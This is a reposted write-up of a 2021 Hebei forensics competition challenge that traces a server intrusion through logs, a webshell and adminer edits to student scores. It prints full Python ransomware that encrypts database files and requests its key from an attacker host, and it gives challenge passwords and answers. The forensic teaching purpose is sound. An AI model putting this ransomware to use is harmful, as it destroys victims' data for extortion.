日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

2021 河北取证比武决赛个人赛 题解 入侵溯源

發(fā)布時間:2023/12/8 编程问答 43 豆豆
生活随笔 收集整理的這篇文章主要介紹了 2021 河北取证比武决赛个人赛 题解 入侵溯源 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.

個人賽

個人賽容器密碼
BDH sha256全大寫
A94686C845696F88525BB9E74FD7F5D38B6C12F7DDC7E5288C2F2D2201151F47

括號內(nèi)表示該答案也可得分。26-30題每題4分,其余題目每題2分。

服務器部分

2021年5月 (對時間要敏感,做題時要摸清案情,摸清案情何作案動機能,厘清攻擊路線。),接某考試信息中心報案稱,其單位一存儲考生個人信息的服務器疑似被入侵,數(shù)據(jù)庫被破壞并勒索比特幣,警方當即固定了服務器的鏡像server.e01。經(jīng)調(diào)查警方抓獲了嫌疑人并對其使用的筆記本電腦只做了鏡像PC.e01,請對兩個檢材進行分析,并回答下面的問題:

1. 鏡像sever.e01對應的被入侵服務器源盤sha256為

98C53B2AC30758EF0977FC313D5D1A070EBF51AE09E刪除線格式 0DF36664A5CCF81DF35C5

2. 服務器操作系統(tǒng)內(nèi)核版本為3.10.0-957.el7.x86_64

3. 服務器配置的網(wǎng)關(guān)為192.168.232.2

如果沒有看到這個這個網(wǎng)關(guān)地址,點擊左上角的設置列,弘連默認不展示所有列,像一些基礎(chǔ)信息覺得應該能直接取到但是沒有的可以到這個地方看看是否沒點顯示

4. 服務器中有2個登錄過的賬號

5. 服務器中root賬號的密碼為nb7001

導出/etc/目錄下的shadow文件,進行破解

使用john工具cpu全速跑了很久才跑出來

個人喜歡用john

建議直接學習使用hashcat調(diào)用gpu來爆破

但是這么爆破總不是辦法,在后面pc檢材分析完之后,有很多途徑可以很輕松獲取到這個登陸密碼,但是題目只做到當前這的進度時是很難獲取到這樣的信息的,所以這就是先對整套題目進行分析,厘清攻擊路徑攻擊意圖的重要性,可能有同學會覺得這樣會花費很多時間去做一些沒有必要的分析,但是實際上比直接硬找會快很多。

6. 入侵者IP為192.168.232.150

五月份發(fā)現(xiàn)被入侵并報警,查看該時段登錄記錄,異常信息。

整體分析

前面的基本上都是相當于是需要固定的基本信息,基本上都能直接找到,做到這題是需要一定分析才能做的題目了。接下來先不看題目,先對服務器進行分析,找到攻擊路徑,重建網(wǎng)站數(shù)據(jù)庫等,再來逐題看題目,這樣不會被題目牽著走,沒思路的時候再來看題目是什么方向的。

歷史記錄里可以看到安裝了pip3 install cryptodemo 這個庫

刪除過歷史和日志

這里執(zhí)行了一個加密的python腳本,先留個心眼,等題目做到再仔細分析

安裝了好多庫

仿真起

在這里發(fā)現(xiàn)加密提示,lnmp-install.log說明這個站可能是lnmp搭建的

可以看到有很多網(wǎng)站,將服務起一下,簡單看一下網(wǎng)站

在這里找到一個備份腳本,應該有定時執(zhí)行的設定,下一步去查看定時任務


這里找到路徑,可以看到是個定時任務每五分鐘執(zhí)行一次backuplog.sh

接下來再看一下備份目錄,使用xftp發(fā)現(xiàn)沒啥東西,但是備份日志里確實顯示這個是個備份目錄,這就是xftp工具的局限性,修改還是比較方便的,但是隱藏文件是不顯示的

我們使用命令查看一下

后期我們可以設置顯示隱藏文件,就可以看到隱藏文件了


可以看到很多日志,將日志導出,進行分析

所有的歷史記錄都是相同的,這個備份中沒有有效信息,查看一下登錄日志

放到隨便一個目錄下,last解析一下


也解析一下,也沒什么東西

再看一下各個網(wǎng)站

將各個網(wǎng)站的域名加入本地hosts文件

打開瀏覽各個網(wǎng)站,至此我們尚未發(fā)現(xiàn)攻擊路徑,感覺網(wǎng)站起的不太對,再查看一下網(wǎng)站nginx 的配置文件

只有默認站點

再找一下vhost下的配置文件,沒有東西

Nginx目錄下發(fā)現(xiàn)了配置文件中nginx服務只指向了一個目錄就是/home/wwwroot/mhedu.sh.cn,所以之前對hosts文件加這么多設置訪問到的也都是同一個站點

可以從之前備份中的歷史命令記錄也可以體現(xiàn)

在操作歷史記錄中,入侵者查看了一下網(wǎng)卡信息,查看了一下最近登錄,查看了一下數(shù)據(jù)庫配置文件,查看了一下網(wǎng)站配置文件,發(fā)現(xiàn)網(wǎng)站也是在這個mhedu.sh.cn的文件下,所以直接進去查看了,后面還做了脫庫的操作

接下來可以分析一下web應用的日志

可以先放工具跑一遍,有一個整體印象,但是我一般都是自己先肉眼對整個日志文件看一遍,實在看不過來再用工具,大家平時練習也是練習自己審計為主,同時兼顧工具的熟練運用,比賽的時候以快為主,工具做出不來手工也要會。

可以很快的看到這里images2下面有個1.php,非常異常,對于攻擊路徑而言,很可能是上傳的一句話木馬。


還可以看到有很多對adminer的操作

Adminer是一個基于php的數(shù)據(jù)庫管理工具,所以等下對這個文件的操作也要著重分析,通過日志工具分析我們發(fā)現(xiàn)1.php和adminer.php兩個需要關(guān)注的點,然后考慮adminer是否是網(wǎng)站自帶還是黑客傳上去的,如果是黑客上傳的也可以認為是一個大馬

可以看到以這里為分界線,前面都是192.168.232.1的訪問記錄,UA頭為"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36"

后面的為192.168.232.150的訪問記錄,UA頭為"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)"

直觀上的感受是前面日志排列的相對密集,后面的有一定的間隔。而且后面對木馬操作的IP為192.168.232.150,結(jié)合登陸記錄中root也有從192.168.232.150登陸過,可以斷定入侵的IP之一肯定是192.168.232.150。

從這里開始往后審計192.168.232.150的操作

這看到前期沒有上傳的操作,全是get,get 1.php之后馬上開始用post開始操作,可以看到上方的文本比較密集,因為我已經(jīng)將上面的UserAgent都已經(jīng)刪除了,但是下面文本比較稀疏,是因為出現(xiàn)了新的UA頭,和上面的不一樣,無法替換到,可以猜測下面的POST操作都是使用像菜刀、蟻劍、冰蝎這樣的webshell管理工具實現(xiàn)的。冰蝎3.0 流量特征分析 附特征 - 知乎 (zhihu.com)

后面的流量也看不出來什么,畢竟沒有過程,但是后面shell操作結(jié)束后突然對adminer繼續(xù)操作,且后面的UA頭是之前的UA頭,最后一個POST包的大小是7781,合理懷疑這個adminer是這個包傳上去的

接下來對adminer的操作進行分析

接下來按照其手法,對仿真起來的網(wǎng)站里的adminer登錄進行查看修改的這些數(shù)值,推測一次POST對應一次修改

192.168.232.150 - - [04/May/2021:15:48:36 +0800] "GET /adminer.php HTTP/1.1" 200 1652 "-" 192.168.232.150 - - [04/May/2021:15:48:38 +0800] "GET /adminer.php?file=default.css&version=4.1.0&driver=mysql HTTP/1.1" 200 2194 "http://192.168.232.148/adminer.php" 192.168.232.150 - - [04/May/2021:15:48:38 +0800] "GET /adminer.php?file=functions.js&version=4.1.0&driver=mysql HTTP/1.1" 200 8150 "http://192.168.232.148/adminer.php" 192.168.232.150 - - [04/May/2021:15:48:38 +0800] "GET /adminer.php?file=favicon.ico&version=4.1.0&driver=mysql HTTP/1.1" 200 330 "-" 192.168.232.150 - - [04/May/2021:15:49:23 +0800] "POST /adminer.php HTTP/1.1" 302 5 "http://192.168.232.148/adminer.php" ##可能為登錄 192.168.232.150 - - [04/May/2021:15:49:24 +0800] "GET /adminer.php?server=localhost&username=root&db=studient HTTP/1.1" 200 3192 "http://192.168.232.148/adminer.php" ##用戶為root,數(shù)據(jù)庫為studient 192.168.232.150 - - [04/May/2021:15:49:24 +0800] "GET /adminer.php?file=jush.js&version=4.1.0&driver=mysql HTTP/1.1" 200 13475 "http://192.168.232.148/adminer.php?server=localhost&username=root&db=studient" 192.168.232.150 - - [04/May/2021:15:49:24 +0800] "GET /adminer.php?server=localhost&username=root&db=studient&script=db HTTP/1.1" 200 204 "http://192.168.232.148/adminer.php?server=localhost&username=root&db=studient" 192.168.232.150 - - [04/May/2021:15:49:31 +0800] "GET /adminer.php?server=localhost&username=root&db=studient&table=score HTTP/1.1" 200 2295 "http://192.168.232.148/adminer.php?server=localhost&username=root&db=studient" 192.168.232.150 - - [04/May/2021:15:53:45 +0800] "GET /adminer.php?server=localhost&username=root&db=studient&select=score HTTP/1.1" 200 10458 "http://192.168.232.148/adminer.php?server=localhost&username=root&db=studient&table=score" 192.168.232.150 - - [04/May/2021:15:54:09 +0800] "POST /adminer.php?server=localhost&username=root&db=studient&select=score HTTP/1.1" 200 98946 "http://192.168.232.148/adminer.php?server=localhost&username=root&db=studient&select=score" 192.168.232.150 - - [04/May/2021:16:35:32 +0800] "GET /adminer.php?server=localhost&username=root&db=studient&select=score&columns%5B0%5D%5Bfun%5D=&columns%5B0%5D%5Bcol%5D=&where%5B0%5D%5Bcol%5D=&where%5B0%5D%5Bop%5D=%3D&where%5B0%5D%5Bval%5D=%E5%BC%A0%E6%99%93&where%5B01%5D%5Bcol%5D=&where%5B01%5D%5Bop%5D=%3D&where%5B01%5D%5Bval%5D=&order%5B0%5D=&limit=50&text_length=100 HTTP/1.1" 200 4645 "http://192.168.232.148/adminer.php?server=localhost&username=root&db=studient&select=score" ##/adminer.php?server=localhost&username=root&db=studient&select=score&columns[0][fun]=&columns[0][col]=&where[0][col]=&where[0][op]==&where[0][val]=張曉&where[01][col]=&where[01][op]==&where[01][val]=&order[0]=&limit=50&text_length=100192.168.232.150 - - [04/May/2021:16:36:14 +0800] "GET /adminer.php?server=localhost&username=root&db=studient&select=score&columns%5B0%5D%5Bfun%5D=&columns%5B0%5D%5Bcol%5D=&where%5B0%5D%5Bcol%5D=&where%5B0%5D%5Bop%5D=%3D&where%5B0%5D%5Bval%5D=%E8%B5%B5%E5%A4%A9%E6%AD%8C&where%5B2%5D%5Bcol%5D=&where%5B2%5D%5Bop%5D=%3D&where%5B2%5D%5Bval%5D=&order%5B0%5D=&limit=50&text_length=100 HTTP/1.1" 200 4658 "http://192.168.232.148/adminer.php?server=localhost&username=root&db=studient&select=score&columns%5B0%5D%5Bfun%5D=&columns%5B0%5D%5Bcol%5D=&where%5B0%5D%5Bcol%5D=&where%5B0%5D%5Bop%5D=%3D&where%5B0%5D%5Bval%5D=%E5%BC%A0%E6%99%93&where%5B01%5D%5Bcol%5D=&where%5B01%5D%5Bop%5D=%3D&where%5B01%5D%5Bval%5D=&order%5B0%5D=&limit=50&text_length=100" ##/adminer.php?server=localhost&username=root&db=studient&select=score&columns[0][fun]=&columns[0][col]=&where[0][col]=&where[0][op]==&where[0][val]=趙天歌&where[2][col]=&where[2][op]==&where[2][val]=&order[0]=&limit=50&text_length=100##http://192.168.232.148/adminer.php?server=localhost&username=root&db=studient&select=score&columns[0][fun]=&columns[0][col]=&where[0][col]=&where[0][op]==&where[0][val]=張曉&where[01][col]=&where[01][op]==&where[01][val]=&order[0]=&limit=50&text_length=100192.168.232.150 - - [04/May/2021:16:36:43 +0800] "GET /adminer.php?server=localhost&username=root&db=studient&select=score HTTP/1.1" 200 10460 "http://192.168.232.148/adminer.php?server=localhost&username=root&db=studient&select=score&columns%5B0%5D%5Bfun%5D=&columns%5B0%5D%5Bcol%5D=&where%5B0%5D%5Bcol%5D=&where%5B0%5D%5Bop%5D=%3D&where%5B0%5D%5Bval%5D=%E8%B5%B5%E5%A4%A9%E6%AD%8C&where%5B2%5D%5Bcol%5D=&where%5B2%5D%5Bop%5D=%3D&where%5B2%5D%5Bval%5D=&order%5B0%5D=&limit=50&text_length=100" ##http://192.168.232.148/adminer.php?server=localhost&username=root&db=studient&select=score&columns[0][fun]=&columns[0][col]=&where[0][col]=&where[0][op]==&where[0][val]=趙天歌&where[2][col]=&where[2][op]==&where[2][val]=&order[0]=&limit=50&text_length=100192.168.232.150 - - [04/May/2021:16:37:37 +0800] "GET /adminer.php?server=localhost&username=root&db=studient&select=score HTTP/1.1" 200 10458 "http://192.168.232.148/adminer.php?server=localhost&username=root&db=studient&select=score" 192.168.232.150 - - [04/May/2021:16:37:50 +0800] "GET /adminer.php?server=localhost&username=root&db=studient&edit=score&where%5Bid%5D=20177884&where%5Bname%5D=%E8%83%A1%E9%87%91%E4%BF%9D&where%5Btel%5D=13122787578&where%5Bidcard%5D=341202200402111723&where%5Bscore%5D=564 HTTP/1.1" 200 2685 "http://192.168.232.148/adminer.php?server=localhost&username=root&db=studient&select=score" ##/adminer.php?server=localhost&username=root&db=studient&edit=score&where[id]=20177884&where[name]=胡金保&where[tel]=13122787578&where[idcard]=341202200402111723&where[score]=564192.168.232.150 - - [04/May/2021:16:38:10 +0800] "POST /adminer.php?server=localhost&username=root&db=studient&edit=score&where%5Bid%5D=20177884&where%5Bname%5D=%E8%83%A1%E9%87%91%E4%BF%9D&where%5Btel%5D=13122787578&where%5Bidcard%5D=341202200402111723&where%5Bscore%5D=564 HTTP/1.1" 302 5 "http://192.168.232.148/adminer.php?server=localhost&username=root&db=studient&edit=score&where%5Bid%5D=20177884&where%5Bname%5D=%E8%83%A1%E9%87%91%E4%BF%9D&where%5Btel%5D=13122787578&where%5Bidcard%5D=341202200402111723&where%5Bscore%5D=564" ##/adminer.php?server=localhost&username=root&db=studient&edit=score&where[id]=20177884&where[name]=胡金保&where[tel]=13122787578&where[idcard]=341202200402111723&where[score]=564##http://192.168.232.148/adminer.php?server=localhost&username=root&db=studient&edit=score&where[id]=20177884&where[name]=胡金保&where[tel]=13122787578&where[idcard]=341202200402111723&where[score]=564192.168.232.150 - - [04/May/2021:16:38:11 +0800] "GET /adminer.php?server=localhost&username=root&db=studient&select=score HTTP/1.1" 200 10734 "http://192.168.232.148/adminer.php?server=localhost&username=root&db=studient&edit=score&where%5Bid%5D=20177884&where%5Bname%5D=%E8%83%A1%E9%87%91%E4%BF%9D&where%5Btel%5D=13122787578&where%5Bidcard%5D=341202200402111723&where%5Bscore%5D=564" ##http://192.168.232.148/adminer.php?server=localhost&username=root&db=studient&edit=score&where[id]=20177884&where[name]=胡金保&where[tel]=13122787578&where[idcard]=341202200402111723&where[score]=564192.168.232.150 - - [04/May/2021:16:38:14 +0800] "GET /adminer.php?server=localhost&username=root&db=studient&edit=score&where%5Bid%5D=20176743&where%5Bname%5D=%E9%87%91%E5%96%86%E6%98%8A&where%5Btel%5D=52856616&where%5Bidcard%5D=310107200511295728&where%5Bscore%5D=538 HTTP/1.1" 200 2685 "http://192.168.232.148/adminer.php?server=localhost&username=root&db=studient&select=score" ##/adminer.php?server=localhost&username=root&db=studient&edit=score&where[id]=20176743&where[name]=金喆昊&where[tel]=52856616&where[idcard]=310107200511295728&where[score]=538192.168.232.150 - - [04/May/2021:16:38:17 +0800] "POST /adminer.php?server=localhost&username=root&db=studient&edit=score&where%5Bid%5D=20176743&where%5Bname%5D=%E9%87%91%E5%96%86%E6%98%8A&where%5Btel%5D=52856616&where%5Bidcard%5D=310107200511295728&where%5Bscore%5D=538 HTTP/1.1" 302 5 "http://192.168.232.148/adminer.php?server=localhost&username=root&db=studient&edit=score&where%5Bid%5D=20176743&where%5Bname%5D=%E9%87%91%E5%96%86%E6%98%8A&where%5Btel%5D=52856616&where%5Bidcard%5D=310107200511295728&where%5Bscore%5D=538" ##/adminer.php?server=localhost&username=root&db=studient&edit=score&where[id]=20176743&where[name]=金喆昊&where[tel]=52856616&where[idcard]=310107200511295728&where[score]=538 ##http://192.168.232.148/adminer.php?server=localhost&username=root&db=studient&edit=score&where[id]=20176743&where[name]=金喆昊&where[tel]=52856616&where[idcard]=310107200511295728&where[score]=538192.168.232.150 - - [04/May/2021:16:38:17 +0800] "GET /adminer.php?server=localhost&username=root&db=studient&select=score HTTP/1.1" 200 10743 "http://192.168.232.148/adminer.php?server=localhost&username=root&db=studient&edit=score&where%5Bid%5D=20176743&where%5Bname%5D=%E9%87%91%E5%96%86%E6%98%8A&where%5Btel%5D=52856616&where%5Bidcard%5D=310107200511295728&where%5Bscore%5D=538" ##http://192.168.232.148/adminer.php?server=localhost&username=root&db=studient&edit=score&where[id]=20176743&where[name]=金喆昊&where[tel]=52856616&where[idcard]=310107200511295728&where[score]=538192.168.232.150 - - [04/May/2021:16:38:20 +0800] "GET /adminer.php?server=localhost&username=root&db=studient&edit=score&where%5Bid%5D=20177641&where%5Bname%5D=%E8%8C%83%E8%AF%97%E6%80%A1&where%5Btel%5D=13611843060&where%5Bidcard%5D=310107200310040411&where%5Bscore%5D=539 HTTP/1.1" 200 2691 "http://192.168.232.148/adminer.php?server=localhost&username=root&db=studient&select=score" ##/adminer.php?server=localhost&username=root&db=studient&edit=score&where[id]=20177641&where[name]=范詩怡&where[tel]=13611843060&where[idcard]=310107200310040411&where[score]=539192.168.232.150 - - [04/May/2021:16:38:22 +0800] "POST /adminer.php?server=localhost&username=root&db=studient&edit=score&where%5Bid%5D=20177641&where%5Bname%5D=%E8%8C%83%E8%AF%97%E6%80%A1&where%5Btel%5D=13611843060&where%5Bidcard%5D=310107200310040411&where%5Bscore%5D=539 HTTP/1.1" 302 5 "http://192.168.232.148/adminer.php?server=localhost&username=root&db=studient&edit=score&where%5Bid%5D=20177641&where%5Bname%5D=%E8%8C%83%E8%AF%97%E6%80%A1&where%5Btel%5D=13611843060&where%5Bidcard%5D=310107200310040411&where%5Bscore%5D=539" ##/adminer.php?server=localhost&username=root&db=studient&edit=score&where[id]=20177641&where[name]=范詩怡&where[tel]=13611843060&where[idcard]=310107200310040411&where[score]=539##http://192.168.232.148/adminer.php?server=localhost&username=root&db=studient&edit=score&where[id]=20177641&where[name]=范詩怡&where[tel]=13611843060&where[idcard]=310107200310040411&where[score]=539192.168.232.150 - - [04/May/2021:16:38:22 +0800] "GET /adminer.php?server=localhost&username=root&db=studient&select=score HTTP/1.1" 200 10729 "http://192.168.232.148/adminer.php?server=localhost&username=root&db=studient&edit=score&where%5Bid%5D=20177641&where%5Bname%5D=%E8%8C%83%E8%AF%97%E6%80%A1&where%5Btel%5D=13611843060&where%5Bidcard%5D=310107200310040411&where%5Bscore%5D=539" ## http://192.168.232.148/adminer.php?server=localhost&username=root&db=studient&edit=score&where[id]=20177641&where[name]=范詩怡&where[tel]=13611843060&where[idcard]=310107200310040411&where[score]=539192.168.232.150 - - [04/May/2021:16:38:37 +0800] "GET /adminer.php?server=localhost&username=root&db=studient&select=score&page=4 HTTP/1.1" 200 10467 "http://192.168.232.148/adminer.php?server=localhost&username=root&db=studient&select=score" 192.168.232.150 - - [04/May/2021:16:39:38 +0800] "POST /adminer.php?server=localhost&username=root&db=studient&select=score&page=4 HTTP/1.1" 302 5 "http://192.168.232.148/adminer.php?server=localhost&username=root&db=studient&select=score&page=4" 192.168.232.150 - - [04/May/2021:16:39:39 +0800] "GET /adminer.php?server=localhost&username=root&db=studient&select=score&page=4 HTTP/1.1" 200 11051 "http://192.168.232.148/adminer.php?server=localhost&username=root&db=studient&select=score&page=4" 192.168.232.150 - - [04/May/2021:16:39:48 +0800] "POST /adminer.php?server=localhost&username=root&db=studient&select=score&page=4 HTTP/1.1" 302 5 "http://192.168.232.148/adminer.php?server=localhost&username=root&db=studient&select=score&page=4" 192.168.232.150 - - [04/May/2021:16:39:48 +0800] "GET /adminer.php?server=localhost&username=root&db=studient&select=score&page=4 HTTP/1.1" 200 10794 "http://192.168.232.148/adminer.php?server=localhost&username=root&db=studient&select=score&page=4" 192.168.232.150 - - [04/May/2021:16:39:52 +0800] "POST /adminer.php?server=localhost&username=root&db=studient&select=score&page=4 HTTP/1.1" 302 5 "http://192.168.232.148/adminer.php?server=localhost&username=root&db=studient&select=score&page=4" 192.168.232.150 - - [04/May/2021:16:39:52 +0800] "GET /adminer.php?server=localhost&username=root&db=studient&select=score&page=4 HTTP/1.1" 200 10783 "http://192.168.232.148/adminer.php?server=localhost&username=root&db=studient&select=score&page=4"

不知道密碼,找數(shù)據(jù)庫配置文件,

這樣還找不到用

find / -name *database* find / -name *db*

這樣的話找到內(nèi)容就會比較多,需要細細分辨哪個是網(wǎng)站的數(shù)據(jù)庫配置文件

登錄adminer

數(shù)據(jù)庫中已經(jīng)沒有表了

去找到加密文件


#!/usr/bin/python3 from Crypto.Cipher import AES from Crypto.Util.Padding import pad import os import time import requests import sysdef discover_files(startpath):#判斷后綴名,加密以下類型的后綴名的文件extensions = ['db', 'sql', 'dbf', 'mdb', 'opt', 'frm', 'ibd']for dirpath, dirs, files in os.walk(startpath):for i in files:absolute_path = os.path.abspath(os.path.join(dirpath, i))ext = absolute_path.split('.')[-1]if ext in extensions:yield absolute_pathdef modify_file_inplace(filename, crypto, key, blocksize=4096):#加密文件的邏輯with open(filename, 'r+b') as f:plaintext = f.read(blocksize)while plaintext:if len(plaintext) < blocksize:padtext = pad(plaintext, AES.block_size, style='pkcs7')ciphertext = crypto(padtext)else:ciphertext = crypto(plaintext)f.seek(-len(plaintext), 1)f.write(ciphertext)plaintext = f.read(blocksize)def get_machine_id():#讀取machine-idwith open('/etc/machine-id', 'r') as f:return f.readline().strip()def get_time():#讀取當前時間return time.strftime("%Y%m%d%H%M", time.localtime()) def get_key(path, machine_id, time):#將讀取到的machine-id和當前時間發(fā)給這個IP(攻擊者IP),接受返回值res = requests.post(url = 'http://192.168.232.150:5000/key/{0}'.format(machine_id),json = { 'path' : path,'time': time})return res.textdef main():#主函數(shù)if len(sys.argv) != 2:#判斷傳入?yún)?shù),如果傳入?yún)?shù)不等于2就退出,第一個參數(shù)就是sys.argv[0]代表python3 CRY.py ./studient/中的CRY.pyexit()path = sys.argv[1]#那么sys.argv[1]就是./studient/,將./studient/傳入path變量中key = get_key(path, get_machine_id(), get_time())#調(diào)用get_key函數(shù)獲取密鑰cipher = AES.new(key[:16].encode('ascii'), AES.MODE_CBC, IV=key[16:].encode('ascii'))for file in discover_files(path):modify_file_inplace(file, cipher.encrypt, key=key.encode('ascii'))#實現(xiàn)加密算法邏輯os.rename(file, file+'.CRY')#給文件名后綴加上.CRYprint(file, 'encrypted.')#打印輸出某某文件已加密if __name__=="__main__":main()

那么我們因為不知道當時的時間,使用這個作為線索,可能要到黑客的電腦中尋找,找到后再編寫解密腳本。

7. 入侵者首次登錄成功時間為15:01:08(14:57:17)(14:59:21)(格式要求:HH:MM:SS,如14:03:27)

這個我也找了半天,登錄時間到底指什么,也是基于再pc上找到的這張爆破成功截圖,開始爆破時間是14:57:14,隨后馬上爆破成功了基于這個時間查找linux首次成功登陸時間,所以第一次成功登錄應該是這個時間之后的第一次成功登錄時間。

找到該時段的日志

攻擊是發(fā)生在5月4日14:57:14之后,查找這個時間段的登錄日志、認證日志、安全日志等。

早期unix 在/usr/adm 較新版本 在/var/adm solaris&linux&bsd 在 /var/log lastlog:近期成功登陸記錄 loginlog:不良的登陸嘗試記錄 messages:記錄輸出到系統(tǒng)主控臺以及由syslog系統(tǒng)服務程序產(chǎn)生的消息、 utmp:記錄當前登陸的每個用戶 utmpx:拓展的utmp wtmp:記錄每一次用戶登陸和注銷的歷史信息 last -f /var/log/wtmp vold.log:使用外部介質(zhì)出現(xiàn)的錯誤 xferkig:記錄ftp的存取情況 sulog:記錄su命令的使用情況 acct:記錄每個用戶使用過的命令 last:/var/log/secure 最后登錄 1、安全日志 /var/log/secure 作用:安全日志secure包含驗證和授權(quán)方面信息 分析:是否有IP爆破成功 2、用戶信息 /etc/passwd 內(nèi)容含義:注冊名、口令、用戶標識號、組標識號、用戶名、用戶主目錄、命令解釋程序 分析:是否存在攻擊者創(chuàng)建的惡意用戶 3、命令執(zhí)行記錄 ~/.bash_history 作用:命令執(zhí)行記錄 ~/.bash_history 分析:是否有賬戶執(zhí)行過惡意操作系統(tǒng)命令 4、root郵箱 /var/spool/mail/root 作用:root郵箱 /var/spool/mail/root 分析:root郵箱的一個文件,在該文件中包含大量信息, 當日志被刪除可查詢本文件 5、中間件日志(Web日志access_log) nginx、apache、tomcat、jboss、weblogic、websphere作用: 記錄訪問信息分析:請求次數(shù)過大,訪問敏感路徑的IP位置:/var/log下 access.log文件(apache默認 位置) 位置:/var/log/nginx下 access名稱日志(nginx日志位置) 位置:tomcat、weblogic等日志均存放在安裝路徑下logs文件下 訪問日志結(jié)構(gòu):訪問IP---時間---請求方式---請求路徑---請求協(xié)議----請求狀態(tài)---字節(jié)數(shù) 6.登陸日志(可直接使用命令調(diào)取該信息,對應命令last/lastb) 位置:/var/log/wtmp #成功連接的IP信息 位置:/var/log/btmp #連接失敗的IP信息 7.cron(定制任務日志)日志 位置:/var/log/cron 作用:查看歷史計劃任務(對該文件進行分析調(diào)取惡意病毒執(zhí)行的計劃任務,獲取準確時間) 8、history 日志位置:~/.bash_history 作用:操作命令記錄,可篩查攻擊者執(zhí)行命令信息 9、其他日志 redis、sql server、mysql、oracle等 作用:記錄訪問信息分析:敏感操作

這里在,雖然題解顯得很簡單,但是實際解題上還是需要花費很大的時間精力的。

可以看到在14:57:17這個時間爆破工具成功登錄了,然后馬上又斷開連接了。

8. 入侵者設置了1個定時任務

9. 定時任務將大量日志文件轉(zhuǎn)存至/tmp/backup-log/(backup-log)目錄

10. 服務器的網(wǎng)站目錄及子目錄中,共存在2(1)個webshell

基于前面的分析,1.php肯定為一個webshell,個人沒有把adminer.php算上,adminer也是黑客上傳的,adminer雖然是正經(jīng)應用,但是從入侵角度來看就是一個數(shù)據(jù)庫的大馬,可以算為webshell。出于驗證考慮,將網(wǎng)站源碼導出,使用D盾等webshell掃描工具掃描其中的webshell。

共發(fā)現(xiàn)1個可能的webshell

11. 數(shù)據(jù)庫賬號為root,密碼為nb250250

12. 數(shù)據(jù)庫版本號為5.5.62

13. 嫌疑人入侵服務器后,在數(shù)據(jù)庫中共修改了3個學生的分數(shù)

這里從先前的日志中,可以判斷,對學生執(zhí)行了三個post語句,

192.168.232.150 - - [04/May/2021:16:38:10 +0800] "POST /adminer.php?server=localhost&username=root&db=studient&edit=score&where%5Bid%5D=20177884&where%5Bname%5D=%E8%83%A1%E9%87%91%E4%BF%9D&where%5Btel%5D=13122787578&where%5Bidcard%5D=341202200402111723&where%5Bscore%5D=564 HTTP/1.1" 302 5 "http://192.168.232.148/adminer.php?server=localhost&username=root&db=studient&edit=score&where%5Bid%5D=20177884&where%5Bname%5D=%E8%83%A1%E9%87%91%E4%BF%9D&where%5Btel%5D=13122787578&where%5Bidcard%5D=341202200402111723&where%5Bscore%5D=564" ##/adminer.php?server=localhost&username=root&db=studient&edit=score&where[id]=20177884&where[name]=胡金保&where[tel]=13122787578&where[idcard]=341202200402111723&where[score]=564##http://192.168.232.148/adminer.php?server=localhost&username=root&db=studient&edit=score&where[id]=20177884&where[name]=胡金保&where[tel]=13122787578&where[idcard]=341202200402111723&where[score]=564 192.168.232.150 - - [04/May/2021:16:38:17 +0800] "POST /adminer.php?server=localhost&username=root&db=studient&edit=score&where%5Bid%5D=20176743&where%5Bname%5D=%E9%87%91%E5%96%86%E6%98%8A&where%5Btel%5D=52856616&where%5Bidcard%5D=310107200511295728&where%5Bscore%5D=538 HTTP/1.1" 302 5 "http://192.168.232.148/adminer.php?server=localhost&username=root&db=studient&edit=score&where%5Bid%5D=20176743&where%5Bname%5D=%E9%87%91%E5%96%86%E6%98%8A&where%5Btel%5D=52856616&where%5Bidcard%5D=310107200511295728&where%5Bscore%5D=538" ##/adminer.php?server=localhost&username=root&db=studient&edit=score&where[id]=20176743&where[name]=金喆昊&where[tel]=52856616&where[idcard]=310107200511295728&where[score]=538 ##http://192.168.232.148/adminer.php?server=localhost&username=root&db=studient&edit=score&where[id]=20176743&where[name]=金喆昊&where[tel]=52856616&where[idcard]=310107200511295728&where[score]=538 192.168.232.150 - - [04/May/2021:16:38:22 +0800] "POST /adminer.php?server=localhost&username=root&db=studient&edit=score&where%5Bid%5D=20177641&where%5Bname%5D=%E8%8C%83%E8%AF%97%E6%80%A1&where%5Btel%5D=13611843060&where%5Bidcard%5D=310107200310040411&where%5Bscore%5D=539 HTTP/1.1" 302 5 "http://192.168.232.148/adminer.php?server=localhost&username=root&db=studient&edit=score&where%5Bid%5D=20177641&where%5Bname%5D=%E8%8C%83%E8%AF%97%E6%80%A1&where%5Btel%5D=13611843060&where%5Bidcard%5D=310107200310040411&where%5Bscore%5D=539" ##/adminer.php?server=localhost&username=root&db=studient&edit=score&where[id]=20177641&where[name]=范詩怡&where[tel]=13611843060&where[idcard]=310107200310040411&where[score]=539##http://192.168.232.148/adminer.php?server=localhost&username=root&db=studient&edit=score&where[id]=20177641&where[name]=范詩怡&where[tel]=13611843060&where[idcard]=310107200310040411&where[score]=539

對胡金保、金喆昊、范詩怡的數(shù)值進行了post,而前面的趙天歌和張曉并沒有進行post操作。這里我們還不能確定其具體修改了幾個人的數(shù)據(jù),只能有個印象,重點關(guān)注這3個。

